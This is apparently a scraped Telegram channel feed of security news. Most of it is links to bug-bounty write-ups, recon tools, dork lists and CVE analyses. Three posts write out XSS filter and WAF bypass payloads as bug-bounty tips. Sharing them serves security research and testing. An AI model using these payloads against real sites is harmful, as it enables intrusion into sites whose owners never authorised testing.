Information Security
@sec_nerd_en
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
408 subscribers
Information Security
https://gh0st.cn/archives/2019-10-01/1
118 views
Information Security
https://github.com/TheKingOfDuck/fuzzDicts
GitHub
GitHub - TheKingOfDuck/fuzzDicts: You Know, For WEB Fuzzing ! 日站用的字典。
You Know, For WEB Fuzzing ! 日站用的字典。. Contribute to TheKingOfDuck/fuzzDicts development by creating an account on GitHub.
117 views
Information Security
https://medium.com/cyberverse/got-bounty-with-account-takeover-ato-unicode-case-mapping-collision-d23a7785e1be
Medium
Got *Bounty* with Account takeover (ATO ) Unicode-Case Mapping Collision !
Hey hunters ! Recently I discovered a Unicode-Case Mapping Collision vulnerability on a private program.
117 views
Information Security
https://www.hahwul.com/2020/03/recon-with-waybackmachine-for-bugbounty.html?m=1
Hahwul
Recon with waybackmachine. For BugBounty!
Recon with waybackmachine for BugBounty!
127 views
Information Security
#ReconTools

https://github.com/m0rtem/CloudFail
https://github.com/s0md3v/ReconDog
https://github.com/BishopFox/GitGot
https://github.com/redhuntlabs/Awesome-Asset-Discovery
https://github.com/leebaird/discover
https://github.com/s0md3v/Arjun
https://github.com/s0md3v/Striker
https://github.com/shmilylty/OneForAll
https://github.com/Ekultek/Zeus-Scanner
https://github.com/SimplySecurity/SimplyEmail

#bugbounty,#bugbountytips
GitHub
GitHub - m0rtem/CloudFail: Utilize misconfigured DNS and old database records to find hidden IP's behind the CloudFlare network
Utilize misconfigured DNS and old database records to find hidden IP's behind the CloudFlare network - m0rtem/CloudFail
238 views
Information Security
https://medium.com/@D0rkerDevil/a-infinite-loop-story-f2bc05771a88
Medium
A Infinite Loop Story.
Note: i have already covered this vulnerability previously 2 times on my blogs so you can check that out.
124 views
Information Security
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
GitHub
GitHub - blaCCkHatHacEEkr/PENTESTING-BIBLE: articles
articles. Contribute to blaCCkHatHacEEkr/PENTESTING-BIBLE development by creating an account on GitHub.
109 views
Information Security
#AuthorizationFlaw

https://t.co/xTfk0rtU2b
https://t.co/UUuzHRoumr
https://t.co/t5lABoDmvv
https://t.co/EPdKI16qBj
https://t.co/5EYYOudexQ
https://t.co/BZuzGpH4Zq
https://t.co/oY4Y2GdaBN
https://t.co/3Fn228RvEj
https://t.co/fkEEQy58h4
https://t.co/YwboWlM08f

#bugbounty
Medium
Page Admin Disclosure via an Upgraded Page Post
Been in the bug bounty and/or ethical hacking scene for more than 2 years now and this is my first write-up (I hope you bear with me)…
122 views
Information Security
https://hakin9.org/vscan-vulnerability-scanner-tool-using-nmap-and-nse-scripts/
Hakin9 - IT Security Magazine
Vscan - Vulnerability Scanner Tool Using Nmap And Nse Scripts
Vscan puts an additional value into vulnerability scanning with nmap. It uses NSE scripts which can add flexibility in terms of vulnerability detection and exploitation. Below there are some of the features that NSE scripts
115 views
Information Security
https://twitter.com/am0nsec/status/1236770534186201089?s=20
107 views
Information Security
How I bypassed the OTP verification process?

Part 1:-

https://link.medium.com/0QZ7nYDKG4

Part 2:-

https://link.medium.com/Ew0iyvBKG4

Part 3:-

https://link.medium.com/QaMpQOCKG4
Medium
How I bypassed the OTP verification process? Part — 1
It’s been so long since I posted any article, partially because I was tired and taking a pleasant summer break. I was reading this…
125 views
Information Security
https://github.com/ari034/CVE-2020-9758
GitHub
GitHub - ari034/CVE-2020-9758: Form submission for vulnerability in livezilla
Form submission for vulnerability in livezilla. Contribute to ari034/CVE-2020-9758 development by creating an account on GitHub.
115 views
Information Security
https://insinuator.net/2020/03/dns-exfiltration-case-study/
Insinuator.net
DNS exfiltration case study
Lately, we came across a remote code execution in a Tomcat web service by utilizing Expression Language. The vulnerable POST body field expected a number. When sending ${1+2} instead, the web site included a Java error message about a failed conversion to…
116 views
Information Security
https://github.com/iGotRootSRC/Dorkers
GitHub
GitHub - iGotRootSRC/Dorkers: Dorks for Google, Shodan and BinaryEdge
Dorks for Google, Shodan and BinaryEdge. Contribute to iGotRootSRC/Dorkers development by creating an account on GitHub.
126 views
Information Security
XSS filter bypass using stripped </p> tag to obfuscate.

P2 Stored XSS $1500 on a private bug bounty program.

XSS Payload:
<</p>iframe src=javascript:alert()//

#xss #bugbountytip #bugbountytips #bugbounty
136 views
Information Security
XSS WAF Bypass Tip:

try url encoding the parameter name in your PoC URL!

?page=";confirm`1`//
Rightwards arrow
302

?pag%65=";confirm`1`//
Rightwards arrow
200 + XSS!

#bugbountytips
138 views
Information Security
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

#payloads #payload #bypass
126 views
Information Security
https://medium.com/@knownsec404team/confluence-unauthorized-rce-vulnerability-cve-2019-3396-analysis-99715d2239f2
Medium
Confluence Unauthorized RCE Vulnerability (CVE-2019–3396) Analysis
Author: Badcode@Knownsec 404 Team
Chinese Version: https://paper.seebug.org/884/
114 views
Information Security
https://medium.com/@adam.toscher/wireless-penetration-tips-c0ed0a6665fe?source=friends_link&sk=e2e39595dd9a03fa75b4ca90999390c9
Medium
Wireless Penetration Tips
A list for all things wireless that you may find useful while assessing a real world Wi-Fi Enterprise Network. How-to: c, KARMA, MANA…
109 views
Information Security
https://github.com/iGotRootSRC/Dorkers
GitHub
GitHub - iGotRootSRC/Dorkers: Dorks for Google, Shodan and BinaryEdge
Dorks for Google, Shodan and BinaryEdge. Contribute to iGotRootSRC/Dorkers development by creating an account on GitHub.
103 views